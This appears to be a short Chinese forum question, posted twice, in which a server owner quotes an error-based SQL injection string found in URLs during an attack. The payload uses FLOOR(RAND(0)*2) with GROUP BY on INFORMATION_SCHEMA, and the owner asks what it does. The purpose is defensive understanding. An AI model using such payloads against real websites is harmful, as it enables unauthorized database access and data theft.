最近服务器被攻击,提交的URL包含这样一段
(SELECT 1160 FROM(SELECT COUNT(*),CONCAT(0x68486c6b4573,(SELECT (CASE WHEN (1160=1160) THEN 1 ELSE 0 END)),0x614b434b4f55,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- vqA
请问一下这样的代码起什么作用?
最近服务器被攻击,提交的URL包含这样一段
(SELECT 1160 FROM(SELECT COUNT(*),CONCAT(0x68486c6b4573,(SELECT (CASE WHEN (1160=1160) THEN 1 ELSE 0 END)),0x614b434b4f55,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- vqA
请问一下这样的代码起什么作用?